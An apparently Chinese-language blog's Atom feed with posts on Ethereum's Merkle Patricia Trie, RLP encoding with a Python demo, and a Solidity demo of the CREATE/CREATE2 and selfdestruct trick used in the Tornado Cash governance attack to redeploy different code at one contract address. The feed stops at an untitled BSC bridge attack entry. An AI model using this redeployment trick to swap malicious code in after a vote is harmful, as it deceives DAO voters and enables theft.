<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>昏鸦|博客</title>
  
  <subtitle>博客</subtitle>
  <link href="/atom.xml" rel="self"/>
  
  <link href="https://blog.0xhunya.com/"/>
  <updated>2026-02-25T13:29:20.203Z</updated>
  <id>https://blog.0xhunya.com/</id>
  
  <author>
    <name>昏鸦</name>
    
  </author>
  
  <generator uri="http://hexo.io/">Hexo</generator>
  
  <entry>
    <title>以太坊学习-MPT树</title>
    <link href="https://blog.0xhunya.com/2026/02/25/%E4%BB%A5%E5%A4%AA%E5%9D%8A%E5%AD%A6%E4%B9%A0-MPT%E6%A0%91/"/>
    <id>https://blog.0xhunya.com/2026/02/25/以太坊学习-MPT树/</id>
    <published>2026-02-25T13:17:29.000Z</published>
    <updated>2026-02-25T13:29:20.203Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Merkle-Patricia-Trie"><a href="#Merkle-Patricia-Trie" class="headerlink" title="Merkle Patricia Trie"></a>Merkle Patricia Trie</h1><p>以太坊采用的 modified Merkle-Patricia Trie</p><blockquote><ul><li>Trie：字典树/前缀树</li><li>Merkle：Hash 节点，支持 Hash 验证整个树</li><li>Patricia：Practical Algorithm to Retrieve Information Coded in Alphanumeric 缩写，一种压缩 <em>单一子 节点</em> 路径的变种 trie，也叫 紧凑 trie</li></ul></blockquote><h3 id="数据结构"><a href="#数据结构" class="headerlink" title="数据结构"></a>数据结构</h3><p>在 State Trie 中，每一个账户作为一个键值对存储：</p><ul><li>键（key / path）：账户地址的 Keccak-256 哈希（Secure Trie，state trie/storage trie 采用）</li><li>值（value）：账户（<code>[nonce, balance, storageRoot, codeHash]</code> 的 RLP 编码）</li></ul><p>trie 结构中，每一个节点都会存储一个键的 16 进制字符，也就是半字节（nibble / 4 bit）</p><p>MPT 中有 4 种节点类型：</p><ol><li>NULL（空字符串）</li><li>branch（分支节点）<ul><li>长度 17 数组：<strong>空/子节点hash *16 + 值</strong></li><li>前 16 位每一个都代表一个前缀 16 进制数</li><li>例：<code>[[NULL, NULL, child_hash, NULL, NULL, other_child_hash, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL], value]</code> </li></ul></li><li>extension（扩展节点）<ul><li>对压缩共享前缀键的优化扩展</li><li>长度 2 数组：<strong>共享前缀(键) + 子节点 hash</strong></li><li>例：<code>[shared_prefix, child_hash]</code></li></ul></li><li>leaf（叶子节点）<ul><li>长度 2 数组：<strong>剩余键 + 值</strong>，路径的末端</li><li>例：<code>[key-end, value]</code></li></ul></li></ol><p><em>*MPT root 根节点可以是任意节点类型，但一般如果数据足够大足够多，根节点一般是分支节点类型</em></p><h4 id="奇偶校验前缀"><a href="#奇偶校验前缀" class="headerlink" title="奇偶校验前缀"></a>奇偶校验前缀</h4><div class="table-container"><table><thead><tr><th>标志</th><th>节点类型</th><th>奇偶</th></tr></thead><tbody><tr><td>0 + 占位符 0</td><td>Extension</td><td>偶</td></tr><tr><td>1</td><td>Extension</td><td>奇</td></tr><tr><td>2 + 占位符 0</td><td>Leaf</td><td>偶</td></tr><tr><td>3</td><td>Leaf</td><td>奇</td></tr></tbody></table></div><p><img src="/2026/02/25/以太坊学习-MPT树/example-modified-merkle-patricia-trie.png" alt></p><h3 id="Secure-Trie"><a href="#Secure-Trie" class="headerlink" title="Secure Trie"></a>Secure Trie</h3><p>状态树（State Trie）和存储树（Storage Trie）都会采用安全模式（secure），即键采用 <code>keccak256(address)</code> </p><p>主要是出于<strong>安全性</strong>和<strong>性能平衡</strong>的考虑：</p><ul><li>防御 DoS ：地址外部可控，可精心构造一系列具有共同前缀的地址，会导致 MPT 树形成一条极深的路径，增加查找、插入和计算 root 的 CPU 开销 和磁盘 I/O 开销</li><li>路径均匀分布：通过 <code>keccak256</code>，让原本可能有规律的地址随机分布，确保树结构更加平衡，深度合理</li></ul><p>该设计在以太坊黄皮书中有直接的设计和定义，状态树 $\sigma$ ：</p><script type="math/tex; mode=display">\sigma[a] \equiv MPT(KEC(a), ...)</script><h3 id="验证"><a href="#验证" class="headerlink" title="验证"></a>验证</h3><p>和传统标准 Merkle 的差别在于验证顺序，传统 Merkle 证明是从下到上（从叶子到根，leaf to root），而 MPT 证明是上到下（从根到叶子，root to leaf）</p><h1 id="以太坊-MPT"><a href="#以太坊-MPT" class="headerlink" title="以太坊 MPT"></a>以太坊 MPT</h1><p>每个区块的区块头中包含 3 个 MPT 树根：</p><ul><li>stateRoot：世界状态</li><li>transactionsRoot：该区块中所有交易的</li><li>receiptsRoot：该区块中所有交易事件的</li></ul><p><img src="/2026/02/25/以太坊学习-MPT树/block-header.png" alt></p><h3 id="State-Trie（状态树-世界状态）"><a href="#State-Trie（状态树-世界状态）" class="headerlink" title="State Trie（状态树 / 世界状态）"></a>State Trie（状态树 / 世界状态）</h3><h4 id="键值构成"><a href="#键值构成" class="headerlink" title="键值构成"></a>键值构成</h4><ul><li>path / key：<code>keccak256(ethereumAddress)</code></li><li>value：<code>rlp(ethereumAccount)</code><ul><li>ethereumAccount：<code>[nonce, balance, storageRoot, codeHash]</code></li></ul></li></ul><h4 id="账户状态"><a href="#账户状态" class="headerlink" title="账户状态"></a>账户状态</h4><p>账户状态由 4 部分组成</p><ul><li>nonce：如果账户是外部账户，则该属性代表从账户地址发送的交易数量；如果账户是合约账户，则该属性代表账户创建的合约数量</li><li>balance：该地址账户余额</li><li>storageRoot：该账户的存储数据的 MPT 树根，非智能合约账户默认为空</li><li>codeHash：该账户的 EVM 代码哈希值。对于合约账户，这是经过哈希处理并存储为<code>codeHash</code>的代码；对于外部账户，<code>codeHash</code>字段是空字符串的哈希值</li></ul><p>根据以太坊黄皮书，账户若是一个智能合约账户，则必定包含了 <strong>存储树（storageRoot）</strong>和<strong>代码存储（codeHash）</strong></p><p>每个账户都处在树的叶子节点上，树的组织则按照排列顺序进行串联哈希，最终层层哈希得出世界状态。当更改某单一账户时，则会引发它所在分支的上层哈希值的更改，直到影响到根节点的哈希值，根节点的哈希值称为状态树根（stateRoot），这个值将存入区块头部。世界状态随着区块链的前进而不断变化，状态树的值也不断变更。</p><p><img src="/2026/02/25/以太坊学习-MPT树/state-trie.png" alt></p><h4 id="storage-trie（存储树）"><a href="#storage-trie（存储树）" class="headerlink" title="storage trie（存储树）"></a>storage trie（存储树）</h4><p>存放该账户下的智能合约的存储数据状态</p><h3 id="Transaction-Trie（交易树）"><a href="#Transaction-Trie（交易树）" class="headerlink" title="Transaction Trie（交易树）"></a>Transaction Trie（交易树）</h3><h4 id="键值构成-1"><a href="#键值构成-1" class="headerlink" title="键值构成"></a>键值构成</h4><ul><li>path / key：<code>rlp(transactionIndex)</code></li><li>value：<code>legacyTx ? rlp(tx) : TxType | encode(tx)</code></li></ul><p>每个区块都有一棵独立的<strong>交易树</strong>，这棵树包含了当前区块打包的所有交易，交易的排列顺序由矿工在打包时唯一确定</p><p>若同一个块中含了同一个账户发出的数笔交易，矿工按照发送账户的 <code>nonce</code> 值顺序安排该账户的交易。矿工在排序完成后，调用自身的以太坊虚拟机执行交易指令来变更世界状态中对应的账户的状态，收取相应的交易费</p><p><img src="/2026/02/25/以太坊学习-MPT树/transaction-trie.png" alt></p><h3 id="Receipts-Trie（收据树）"><a href="#Receipts-Trie（收据树）" class="headerlink" title="Receipts Trie（收据树）"></a>Receipts Trie（收据树）</h3><h4 id="键值构成-2"><a href="#键值构成-2" class="headerlink" title="键值构成"></a>键值构成</h4><ul><li>path/key：<code>rlp(transactionIndex)</code></li><li>value：<code>legacyReceipt ? rlp([status, cumulativeGasUsed, logsBloom, logs]) : TxType | ReceiptPayload</code></li></ul><p>每个区块都有一棵独立的<strong>收据树</strong>，收据树中包含了执行交易期间产生的相应的收据</p><p>如果一笔交易是一次智能合约的执行，则在以太坊虚拟机执行的过程中会产生程序自定义的日志，日志是智能合约自定义的格式。日志（Log）包含了日志产生方的地址、日志话题（topics）、日志数据（可选）</p><p><img src="/2026/02/25/以太坊学习-MPT树/receipts-trie.png" alt></p><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><p><a href="https://blog.lambdaclass.com/an-introduction-to-merkle-patricia-trie/" target="_blank" rel="noopener">LamdaClass Blog: An introduction to Merkle Patricia Trie</a></p><p><a href="https://ethereum.org/zh/developers/docs/data-structures-and-encoding/patricia-merkle-trie/" target="_blank" rel="noopener">Ethereum Developers Docs: Merkle Patricia Tire</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;Merkle-Patricia-Trie&quot;&gt;&lt;a href=&quot;#Merkle-Patricia-Trie&quot; class=&quot;headerlink&quot; title=&quot;Merkle Patricia Trie&quot;&gt;&lt;/a&gt;Merkle Patricia Trie&lt;/h1&gt;&lt;
      
    
    </summary>
    
    
      <category term="区块链" scheme="https://blog.0xhunya.com/categories/%E5%8C%BA%E5%9D%97%E9%93%BE/"/>
    
    
      <category term="以太坊学习" scheme="https://blog.0xhunya.com/tags/%E4%BB%A5%E5%A4%AA%E5%9D%8A%E5%AD%A6%E4%B9%A0/"/>
    
  </entry>
  
  <entry>
    <title>以太坊源码学习-RLP编码</title>
    <link href="https://blog.0xhunya.com/2025/12/22/%E4%BB%A5%E5%A4%AA%E5%9D%8A%E6%BA%90%E7%A0%81%E5%AD%A6%E4%B9%A0-RLP%E7%BC%96%E7%A0%81/"/>
    <id>https://blog.0xhunya.com/2025/12/22/以太坊源码学习-RLP编码/</id>
    <published>2025-12-22T10:15:48.000Z</published>
    <updated>2025-12-31T09:04:53.088Z</updated>
    
    <content type="html"><![CDATA[<h2 id="数据编码格式"><a href="#数据编码格式" class="headerlink" title="数据编码格式"></a>数据编码格式</h2><ul><li>RLP (Recursive Length Prefix)，ETH1.0、执行层采用的编码方式</li><li>SSZ (Simple Serialize)，ETH2.0、共识层采用的编码方式</li></ul><blockquote><p>RLP 适合简单、浅层的数据结构</p><p>SSZ 适合大型、结构化、可验证的树形数据</p></blockquote><h2 id="RLP编码"><a href="#RLP编码" class="headerlink" title="RLP编码"></a>RLP编码</h2><h3 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h3><p>递归长度前缀，RLP (Recursive Length Prefix) ，一种以太坊中采用的编码方式，作用是对对象进行<strong>序列化和反序列化</strong></p><h3 id="定义"><a href="#定义" class="headerlink" title="定义"></a>定义</h3><p>RLP 编码只支持两种基本类型：</p><ol><li><strong>字符串（string）</strong><ul><li>本质为字节组 (bytes)</li></ul></li><li><strong>列表（list）</strong><ul><li>RLP 基本类型的有序集合</li><li>list 可以包含 string</li><li>list 可以包含 list (递归)</li></ul></li></ol><h3 id="前缀空间划分："><a href="#前缀空间划分：" class="headerlink" title="前缀空间划分："></a>前缀空间划分：</h3><p>RLP 使用 <strong>1个字节 (8 bit) </strong> 来区分类型与长度信息</p><pre><code class="lang-javascript">[0x00, 0x7f]     单字节(值即编码)    // &quot;c&quot;[0x80, 0xbf]     字符串    [0x80, 0xb7] 短字符串(长度0-55)  // &quot;cat&quot;    [0xb8, 0xbf] 长字符串(长度&gt;=56)[0xc0, 0xff]     列表    [0xc0, 0xf7] 短列表(0-55)       // [&quot;cat&quot;, &quot;dog&quot;]    [0xf8, 0xff] 长列表(&gt;=56)</code></pre><p>RLP 编码规则如下：</p><pre><code class="lang-javascript">// ========================================================// 1.对于 [0x00, 0x7f]范围内的单个字节, RLP编码内容就是字节内容本身// bytedata&quot;c&quot;b&#39;c&#39;63// ========================================================// 2.如果是一个 0-55 字节长的字符串，则 RLP 编码由 0x80 加上字符串长度，再拼接上字符串二进制内容// 0x80+len, bytedata&quot;cat&quot;b&#39;\x83cat&#39;83 63 61 74// ========================================================// 3.如果字符串超过 55 字节，则由 0xb7 加上字符串长度字节数，再拼接上字符串长度编码，再拼接上字符串二进制内容// 0xb7+len(len), len, bytedata&quot;0&quot;*1024b&#39;\xb9&#39; + b&#39;\x04\x00&#39; + b&#39;00&#39;*1024b9 0400 303030303030...// ========================================================// 4.如果列表所有项组合长度是 0-55 字节内，则由 0xc0 加上所有项的 RLP 编码串联长度字节，再拼接所有项的 RLP 编码// 0xc0+len(rlp_all)[&quot;cat&quot;, &quot;dog&quot;]b&#39;\xc8\x83cat\x83dog&#39;c8 83636174 83646f67[&quot;cat&quot;, &quot;dog&quot;, [&quot;ab&quot;,&quot;cd&quot;], &quot;ef&quot;]b&#39;\xd2 \x83cat\x83dog \xc6\x82ab\x82cd \x82ef&#39;// ========================================================// 5.如果列表内容超过 55 字节，则由 0xf7 加上所有项的 RLP 编码串联长度字节，再拼接所有项的 RLP 编码// 0xf7+len(len(rlp_all)), len, bytedata...</code></pre><h3 id="测试-python-规范-amp-深入理解编码设计"><a href="#测试-python-规范-amp-深入理解编码设计" class="headerlink" title="测试 python 规范 &amp; 深入理解编码设计"></a>测试 python 规范 &amp; 深入理解编码设计</h3><p>以太坊对于 RLP 编码的规范在：<a href="https://github.com/ethereum/ethereum-rlp" target="_blank" rel="noopener">ethereum-rlp</a></p><p>相比 go-ethereum 的实现，python 规范的实现更加简洁易懂</p><p><img src="/2025/12/22/以太坊源码学习-RLP编码/rlp-spec-code-func-encode.png" alt></p><p>理解代码后，可自己实现写个小demo（这里只写了 encode 编码对字符串和列表类型的部分）</p><pre><code class="lang-python">#coding: utf-8&quot;&quot;&quot;@Author: 0xhunya@Date: 2025-12-22@Description: test poc for ethereum-rlp&quot;&quot;&quot;TEST_CASES = {    &quot;TEST_INT_SHORT&quot;: 64,    &quot;TEST_INT_LONG&quot;: 256,    &quot;TEST_STRING_NULL&quot;: &quot;&quot;,    &quot;TEST_STRING_ONE&quot;: &quot;c&quot;,    &quot;TEST_STRING_SHORT&quot;: &quot;cat&quot;,    &quot;TEST_STRING_LONG&quot;: &quot;0&quot;*1024,    &quot;TEST_LIST_NULL&quot;: [],    &quot;TEST_LIST_SHORT&quot;: [&quot;cat&quot;, &quot;dog&quot;],    &quot;TEST_LIST_SHORT_NEST&quot;: [&quot;cat&quot;, &quot;dog&quot;, [&quot;ab&quot;, &quot;cd&quot;], &quot;ef&quot;]}def encodeBytes(raw):    len_raw = len(raw)    if len_raw == 1:        return raw    elif len_raw &lt; 56:        return bytes([0x80+len_raw]) + raw    else:        len_len_val = (len_raw.bit_length() + 7) // 8  # 字节长度        return (            bytes([0xb7 + len_len_val]) +            len_raw.to_bytes(len_len_val) +            raw        )def encodeList(raw):    join_enc_raw = b&quot;&quot;.join(encode(i) for i in raw)    len_join_enc_raw = len(join_enc_raw)    print(len_join_enc_raw)    if len_join_enc_raw &lt; 56:        return bytes([0xc0 + len_join_enc_raw]) + join_enc_raw    else:        len_len_join_enc_raw = (len_join_enc_raw.bit_length() + 7) // 8  # 字节长度        return (            bytes([0xf7 + len_len_join_enc_raw]) +            len_join_enc_raw.to_bytes(len_len_join_enc_raw) +            join_enc_raw        )def encode(data):    if type(data) == int:        return encodeBytes(data.to_bytes((data.bit_length() + 7) // 8))    elif type(data) == str:        return encodeBytes(data.encode())    elif type(data) == list:        return encodeList(data)    else:        return &quot;Not Support Now&quot;def main():    for testType,testData in TEST_CASES.items():        print(&quot;\n==================== testing %s ====================&quot; % testType)        print(&quot;data: %s&quot; % testData)        res = encode(testData)        print(&quot;encode: %s&quot; % res)main()</code></pre><p>可以通过将自己实现的函数逻辑替换 <code>src/rlp.py</code> 中的对应函数进行测试，看是否能通过测试规范</p><p>测试 <code>encodeList</code> 函数，替换 <code>encode_sequence</code></p><p><img src="/2025/12/22/以太坊源码学习-RLP编码/rlp-spec-test-func-encode-sequence.png" alt></p><p>测试 <code>encodeBytes</code> 函数，替换 <code>encode_bytes</code></p><p><img src="/2025/12/22/以太坊源码学习-RLP编码/rlp-spec-test-func-encode-bytes.png" alt></p><p>发现有 15 项测试未通过，仔细对比函数逻辑可以发现，在对单字符的判断里缺少了校验该单字符需在 <code>128(0x80)</code> 以内</p><p><img src="/2025/12/22/以太坊源码学习-RLP编码/rlp-spec-code-func-encode-bytes-diff.png" alt></p><p>完善校验 <code>and row[0] &lt; 128</code> ，再跑一遍，测试通过</p><p><img src="/2025/12/22/以太坊源码学习-RLP编码/rlp-spec-test-func-encode-bytes-fix.png" alt></p><h4 id="细节思考-amp-深入理解"><a href="#细节思考-amp-深入理解" class="headerlink" title="细节思考 &amp; 深入理解"></a>细节思考 &amp; 深入理解</h4><blockquote><p><em>为什么会有 <code>&lt; 0x80</code> 的校验？为什么超过 128 的整型数值也会需要额外前缀标识？</em></p></blockquote><p>因为 RLP 编码设计中基本类型只有 <strong>字符串 (string)</strong> 和 <strong>列表 (list)</strong>，对于整型并没有单独的规则，那么设计上对于整型的编码是当作字符串来处理的（转为大端序字节串）</p><p>我们回到前缀空间的划分部分，可以看到最前面的 <code>0x00-0x80</code> 部分是直接表示的单字符值本身，这也对应标准的 ASCII 码表，可以完美覆盖。那么如果整型超过 128 (0x80) 就超过了单字节可表示的范围了，就需要增加前缀来表示，以确保编码的唯一性</p><p>这样的话，那不是整型和字符串的编码结果几乎是重合的，也就是每一个字符串都能找到一个整型使他们的编码结果完全一致</p><p>比如 <code>c</code> 和 <code>99</code>，编码结果都是 <code>0x63</code>、<code>cat</code> 和 <code>6513012</code> ，编码结果都是 <code>0x83636174</code></p><p>这也还是回到了 RLP 编码的设计初衷，是一个<strong>无类型的序列化格式</strong>，不管字符串还是整型，都是针对数据本质的字节序列进行编码，RLP 编码的唯一性是指<strong>同一个“字节序列”只有一个合法的 RLP 编码形式</strong>，而解码时需要考虑这些数据的类型信息的是上层协议需要做的，<code>0x63</code> 如果需要解码为字符串就是 <code>c</code>，如果需要解码为整型就是 <code>99</code></p><h3 id="go-ethereum-实现"><a href="#go-ethereum-实现" class="headerlink" title="go-ethereum 实现"></a>go-ethereum 实现</h3><p> go-ethereum 中的 RLP 实现在 <code>go-ethereum/rlp</code> 目录下 ，相比 python 规范多了非常多的工程优化</p><p>核心实现集中在 <code>encode.go</code> 、 <code>encodeBuffer.go</code> 、 <code>decode.go</code> 中</p><p>先看 <code>encode.go</code> 文件，首先全局定义了最特殊的两个数据 <strong>空字符串</strong> 和 <strong>空列表</strong> 的编码结果，然后定义了 <code>Encoder</code> 接口类型</p><p><img src="/2025/12/22/以太坊源码学习-RLP编码/rlp-go-code-encode-type-encoder.png" alt></p><p><code>Encoder</code> 接口主要用于 包外其他模块实现接口 和 包内通过反射实现对各种不同数据类型进行高效率编码</p><p>接着是 <code>Encode</code> 、 <code>EncodeToBytes</code> 、 <code>EncodeToReader</code> 三个主要编码入口函数</p><p><img src="/2025/12/22/以太坊源码学习-RLP编码/rlp-go-code-encode-func-encode.png" alt></p><p>主要逻辑都是通过 <code>getEncBuffer()</code> 函数从 <code>encBufferPool</code> 编码缓存池中获取 <code>encBuffer</code> 编码缓存数据，再调用它的 <code>encode</code> 函数进行编码，最后按需输出到 <code>io.Writer</code> 、<code>[]byte</code> 、 <code>io.Reader</code> ，所以编码的核心逻辑是在 <code>encBuffer.go</code> 中的 <code>encBuffer</code> 数据结构中，<code>encode.go</code> 文件中剩下的内容就主要是些反射类型处理和辅助工具类的函数</p><p>那么我们来看 <code>encBuffer.go</code> 文件，首先定义了 <code>encBuffer</code> 结构体和 <code>encBufferPool</code> 缓存池</p><p><img src="/2025/12/22/以太坊源码学习-RLP编码/rlp-go-code-encbuffer-type-encbuffer.png" alt></p><p><code>encBuffer</code> 结构体拆分了这样几个字段</p><pre><code class="lang-go">/// file: go-ethereum/rlp/encbuffer.gotype encBuffer struct {    str     []byte     // 字符串数据, 包括除列表头以外的所有内容    lheads  []listhead // 列表头数组,包含所有的列表头    lhsize  int        // 所有编码后的列表头长度总和    sizebuf [9]byte    // 整型编码的辅助缓存,主要存放 前缀头(1 byte) + 长度的长度(8 byte)}</code></pre><p>其中 <code>listhead</code> 在 <code>encode.go</code> 中定义</p><p><img src="/2025/12/22/以太坊源码学习-RLP编码/rlp-go-code-encode-type-listhead.png" alt></p><p><code>encBuffer</code> 会通过 <code>listhead</code> 记录编码数据中每一个 list 的<strong>起始位置</strong>和<strong>总长度</strong> ，这样通过一次遍历就能完成数据的编码</p><p>采用 <code>sync.Pool</code> 缓存池以及 <code>encBuffer</code> 的结构设计，均是为了提高编码效率的工程优化，因为 <code>geth</code> 执行层的底层数据结构都会采用 RLP 编码，调用频率极高</p><p>紧接着是 <code>makeBytes</code> 、 <code>copyTo</code> 、 <code>writeTo</code> 函数</p><p><img src="/2025/12/22/以太坊源码学习-RLP编码/rlp-go-code-encbuffer-func-makebytes.png" alt></p><p>前面能看到在 <code>encode.go</code> 文件中的 <code>EncodeToBytes</code> 函数最后就是调用 <code>encBuffer</code> 的 <code>makeBytes</code> 函数输出 <code>[]byte</code>，这里可以看到 <code>makeBytes</code> 函数是调用的 <code>copyTo</code> 函数，而 <code>writeTo</code> 函数和 <code>copyTo</code> 逻辑一致，只是最后输出写入 <code>io.Writer</code>，而 <code>copyTo</code> 输出返回 <code>[]byte</code></p><p><code>copyTo</code> 和 <code>writeTo</code> 的核心逻辑都是：</p><blockquote><ol><li>遍历 <code>buf.lheads</code> 列表头数组，先写入第一个 list 前的字符串数据编码（如果有）；</li><li>记录位置，循环写入列表头数组中记录的每个列表数据编码；</li><li>写入最后一个 list 后的字符串数据编码（如果有）</li></ol></blockquote><p>再后面就是 <code>encBuffer</code> 的编码核心</p><ul><li><p>编码单一数据类型写入的一系列  <code>write</code> 类函数</p></li><li><p>处理 list 类型写入的 <code>list</code> 和 <code>listEnd</code> 函数</p></li><li><p>通过反射获取类型相应 <code>writer</code> 写入的 <code>encode</code> 函数</p></li><li><p>编码字符串前缀头的 <code>encodeStringHeader</code> 函数</p></li></ul><p>这里就能看到熟悉的 RLP 编码规则</p><p><img src="/2025/12/22/以太坊源码学习-RLP编码/rlp-go-code-encbuffer-func-write-list-encode.png" alt></p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>ethereum 的 RLP 编码，在 python 规范中，通过<strong>函数递归</strong>实现，简洁高效地展示了 RLP 编码的规则；而在 go-ethereum 中，则通过 <strong><code>encBuffer</code> 缓存结构</strong>实现，以<strong>类似流式编码</strong>的方式实现了高效率高性能的 RLP 编码工程。</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h2 id=&quot;数据编码格式&quot;&gt;&lt;a href=&quot;#数据编码格式&quot; class=&quot;headerlink&quot; title=&quot;数据编码格式&quot;&gt;&lt;/a&gt;数据编码格式&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;RLP (Recursive Length Prefix)，ETH1.0、执行层采用的编码方式&lt;
      
    
    </summary>
    
    
      <category term="区块链" scheme="https://blog.0xhunya.com/categories/%E5%8C%BA%E5%9D%97%E9%93%BE/"/>
    
    
      <category term="以太坊源码学习" scheme="https://blog.0xhunya.com/tags/%E4%BB%A5%E5%A4%AA%E5%9D%8A%E6%BA%90%E7%A0%81%E5%AD%A6%E4%B9%A0/"/>
    
  </entry>
  
  <entry>
    <title>Solidity利用CREATE/CREATE2组合实现同一合约地址更换代码</title>
    <link href="https://blog.0xhunya.com/2023/05/24/Solidity%E5%88%A9%E7%94%A8CREATE-CREATE2%E7%BB%84%E5%90%88%E5%AE%9E%E7%8E%B0%E5%90%8C%E4%B8%80%E5%90%88%E7%BA%A6%E5%9C%B0%E5%9D%80%E6%9B%B4%E6%8D%A2%E4%BB%A3%E7%A0%81/"/>
    <id>https://blog.0xhunya.com/2023/05/24/Solidity利用CREATE-CREATE2组合实现同一合约地址更换代码/</id>
    <published>2023-05-24T06:18:05.000Z</published>
    <updated>2023-05-26T08:38:11.743Z</updated>
    
    <content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>最近 Tornado Cash 遭到 DAO 治理攻击，攻击者通过 CREATE/CREATE2 技巧，先构造了看似正常的带自毁功能的提案合约，在提案通过后自毁，然后在同一地址上重新部署了新的恶意代码合约，从而实现治理攻击</p><p>于是记录学习下 CREATE/CREATE2 组合技巧</p><h2 id="CREATE-amp-CREATE2"><a href="#CREATE-amp-CREATE2" class="headerlink" title="CREATE &amp; CREATE2"></a>CREATE &amp; CREATE2</h2><h3 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h3><p><code>CREATE</code> 和 <code>CREATE2</code> 是以太坊创建合约的两种操作码，在 geth 源码中可以看到该两种方式</p><p>go-ethereum/core/vm/evm.go:</p><p><img src="/2023/05/24/Solidity利用CREATE-CREATE2组合实现同一合约地址更换代码/code-geth-evm-create.png" alt></p><p>实际具体的计算逻辑实现在 crypto 包中</p><p>go-ethereum/crypto/crypto.go:</p><p><img src="/2023/05/24/Solidity利用CREATE-CREATE2组合实现同一合约地址更换代码/code-geth-crypto-create.png" alt></p><p><code>CREATE</code> 是最早最常见的创建合约的操作码</p><p><code>CREATE2</code> 则是以太坊在 Istanbul 硬分叉升级中引入的新操作码，采用了新的方式计算合约地址</p><p>从 geth 源码中可以看出 <code>CREATE</code> 和 <code>CREATE2</code> 的算法伪代码如下</p><pre><code class="lang-python"># CREATEkeccak256(rlp.encode(address, nonce))[12:]# CREATE2keccak256(0xff ++ address ++ salt ++ keccak256(init_code))[12:]</code></pre><p>可以看出，<code>CREATE</code> 操作码通过地址与地址账户的 <code>nonce</code> 计算而来，在没有引入 <code>CREATE2</code> 之前，新合约地址可预知但不可控，因为 <code>nonce</code> 值始终会变化。而 <code>CREATE2</code> 则不再依赖 <code>nonce</code> ，通过地址、<code>salt</code> 与新合约的创建字节码计算而来，只要 <code>salt</code> 和创建字节码不变，新合约的地址就不会变，那么只要在创建的合约自毁后，保持参数不变，就能实现在同样的地址上重新部署</p><p>Solidity 官方文档中也提到这一点</p><p><img src="/2023/05/24/Solidity利用CREATE-CREATE2组合实现同一合约地址更换代码/solidity-doc-create.png" alt></p><p>虽然不同合约代码会有不同的创建字节码，但在构造函数中，可以通过获取外部数据的状态来实现部署不同的字节码，这样就能在保持创建字节码不变的情况下生成不同逻辑的合约，实现在同一合约地址重新部署不同逻辑的代码</p><h3 id="组合trick"><a href="#组合trick" class="headerlink" title="组合trick"></a>组合trick</h3><p>单 <code>CREATE2</code> 操作码已经能实现在同一合约地址上更新代码，但为了保持创建字节码不变，通过在构造函数中获取外部数据状态来改变自身字节码逻辑仍然存在一些实现难度和限制，于是有了组合利用 <code>CREATE</code> 的技巧</p><p><strong>先通过 <code>CREATE2</code> 创建带自毁函数的中间合约，该中间合约中通过 <code>CREATE</code> 创建出同样带自毁函数的最终实现合约，在销毁中间合约和最终实现合约之后重新部署中间合约，中间合约通过读取外部数据状态在同一地址上重新创建不同代码的最终实现合约</strong></p><p><code>CREATE</code> 操作码由地址和 <code>nonce</code> 计算而来，而当合约执行 <code>selfdestrut</code> 自毁后，其 <code>nonce</code> 将被置 0 ，那么合约自毁前后通过 <code>CREATE</code> 创建的合约地址将保持不变，同时又能很灵活的重新部署新合约代码</p><h2 id="代码实践"><a href="#代码实践" class="headerlink" title="代码实践"></a>代码实践</h2><p>测试代码如下，EOA 地址部署 Controller 合约，Controller 合约的 <code>deploy</code> 函数中通过 <code>CREATE2</code> 创建 Deployer 中间合约，Deployer 合约构造函数中根据 Controller 合约 <code>flag</code> 数据状态通过 <code>CREATE</code> 选择性创建 Test1 或 Test2 合约</p><pre><code class="lang-solidity">// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract Controller {    uint256 public flag;    address public deployerAddr;    function deploy(uint256 _flag) public {        flag = _flag;        address addr;        bytes memory bytecode = type(Deployer).creationCode;        assembly {            addr := create2(0, add(bytecode, 0x20), mload(bytecode), 0x77)        }        deployerAddr = addr;    }}contract Deployer {    address public testAddr;    constructor() {        uint256 flag = IController(msg.sender).flag();        if (flag == 0) {            testAddr = address(new Test1());        } else {            testAddr = address(new Test2());        }    }    function kill() external {        ITest(testAddr).kill();        selfdestruct(payable(msg.sender));    }}contract Test1 {    string public data = &quot;test1&quot;;    function kill() external {        selfdestruct(payable(msg.sender));    }}contract Test2 {    string public data = &quot;test2&quot;;    function kill() external {        selfdestruct(payable(msg.sender));    }}interface IController {    function flag() external view returns(uint256);}interface ITest {    function data() external view returns(string memory);    function kill() external;}</code></pre><p>部署 Controller 合约，调用 <code>deploy(0)</code>，最终创建的合约为 Test1</p><p><img src="/2023/05/24/Solidity利用CREATE-CREATE2组合实现同一合约地址更换代码/remix-test1.png" alt></p><p>调用 Deployer 合约的 <code>kill</code> 函数后，再次调用 <code>deploy(1)</code>，可以看到相同合约地址上已经重新部署为 Test2</p><p><img src="/2023/05/24/Solidity利用CREATE-CREATE2组合实现同一合约地址更换代码/remix-test2.png" alt></p><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><p><a href="https://twitter.com/yajinzhou/status/1660310706644721664" target="_blank" rel="noopener">https://twitter.com/yajinzhou/status/1660310706644721664</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h2 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h2&gt;&lt;p&gt;最近 Tornado Cash 遭到 DAO 治理攻击，攻击者通过 CREATE/CREATE2 技巧，先构造了看似正常的带自毁功能的提案合
      
    
    </summary>
    
    
      <category term="智能合约" scheme="https://blog.0xhunya.com/categories/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6/"/>
    
    
      <category term="智能合约" scheme="https://blog.0xhunya.com/tags/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6/"/>
    
      <category term="Solidity" scheme="https://blog.0xhunya.com/tags/Solidity/"/>
    
  </entry>
  
  <entry>
    <title>BSC跨链桥攻击事件分析</title>
